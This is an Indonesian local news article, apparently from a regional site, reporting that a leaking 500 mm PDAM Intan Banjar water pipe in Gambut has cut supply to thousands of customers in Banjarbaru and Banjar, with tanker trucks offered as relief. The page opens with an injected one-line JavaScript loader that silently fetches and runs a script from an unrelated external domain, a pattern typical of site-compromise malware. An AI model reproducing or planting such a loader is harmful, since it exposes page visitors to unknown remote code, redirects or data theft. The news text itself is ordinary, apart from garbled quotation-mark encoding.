(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Ribuan warga pelanggan PDAM Intan Banjar terpaksa harus bersabar lantaran air bersih yang biasa dinikmati sehari-hari mendadak mati sejak Selasa (16/7) pagi. Pasalnya, kebocoran pipa distribusi milik pemerintah daerah ini terjadi di jalan Gubernur Syarkawi, Kecamatan Gambut, Kabupatem Banjar.
Hal tersebut diungkapkan, Pelaksana Subbag Humas dan Hukum, Hikmatullah saat dikonfirmasi awak media, Rabu (17/7) sore.
“Ada kebocoran, pipa distribusi ukuran 500 mm milik kita bocor pada Selasa (16/7) pukul 10.00 Wita. Saat ini petugas tengah melakukan penanganan,†kata pria yang akrab disapa Aat ini.
Penyebab kebocoran sendiri kata Aat belum diketahui pihaknya. Namun dugaan kemungkinan dikarenakan kontur tanah di kawasan tersebut labil. Lantaran didominasi lahan rawa.
Saat ditanyakan kapan penanganan tuntas dan pendistribusian bisa normal. Aat, menuturkan estimasi perbaikan pipa bocor diperlukan waktu empat hari.
“Perbaikannya membutuhkan waktu empat hari terhitung dari hari Rabu ini. Memang agak lama, karena pipa yang bocor cukup besar. Untuk normalisasi ke jaringan kita masih belum tahu persis, sesuai kondisi di lapangan,†lanjutnya.
Tercatat, akibat kebocoran pipa ini, ribuan pelanggan yang terdampak meliputi dua wilayah yakni Kota Banjarbaru dan Kabupaten Banjar. Wilayah terdampak yakni, Landasan Ulin, Trikora, Liang Anggang, Gambut, perumahan Kota Citra Graha, Pengayuan, jalan Caraka, jalan Sriwijaya, jalan Suka Maju, jalan Golf, jalan Irigasi hingga wilayah Aluh-aluh dan sekitarnya.
Salah seorang warga di wilayah Landasan Ulin, Supian, mengaku dua hari susah untuk bisa mandi dan aktivitas terkait air bersih lainnya. Hal ini dikarenakan rumahnya turut terdampak kebocoran pipa PDAM. Ia berharap pihak PDAM Intan Banjar untuk segera memperbaiki permasalahan tersebut.
“Saya pikir kenapa kok air gak jalan ternyata bocor. Kalau saat ini masih ada sisa air dan harus dihemat, tapi tidak tahu besok masih ada atau tidak stocknya. Semoga cepat diperbaiki,†ungkapnya.
Sementara itu PDAM Intan Banjar mengantisipasi dari permasalahan ini khusus kebutuhan warga selama beberapa hari kedepan. Aat, menyebut jika saat ini pihaknya menyediakan layanan fasilitas mobil tangki dari PDAM.
Ini sebagai solusi bagi warga yang memang membutuhkan sekali pasokan air bersih. “Bisa hubungi kita di hotline yang ada di semua portal informasi resmi PDAM Intan Banjar. Kalau ada permintaan warga kita langsung alokasikan,†janjinya.
Adapun, mobil tangki ini mempunyai kapasitas 4000 liter air. Petugas akan merespons permohonan warga yang memerlukan mobil tangki di wilayahnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan terus memperkuat peran strategis dalam upaya penanganan banjir… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menyampaikan laporan hasil reses… Read More
KANALKALIMANTAN.COM, MARTAPURA - Guna memberikan kenyamanan kepada peziarah dan kebersihan serta kerapian lingkungan di kawasan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sosialisasi Kebijakan dan Strategi Daerah (Jakstrada) Tahun 2026 bertema “Kolaborasi Pengelolaan Sanitasi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Jajaran Bank Syariah Indonesia (BSI) Cabang Martapura melakukan audiensi ke Bupati Banjar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III DPRD Banjarbaru meninjau Satuan Pemenuhan Pelayanan Gizi (SPPG) yang diduga… Read More
This website uses cookies.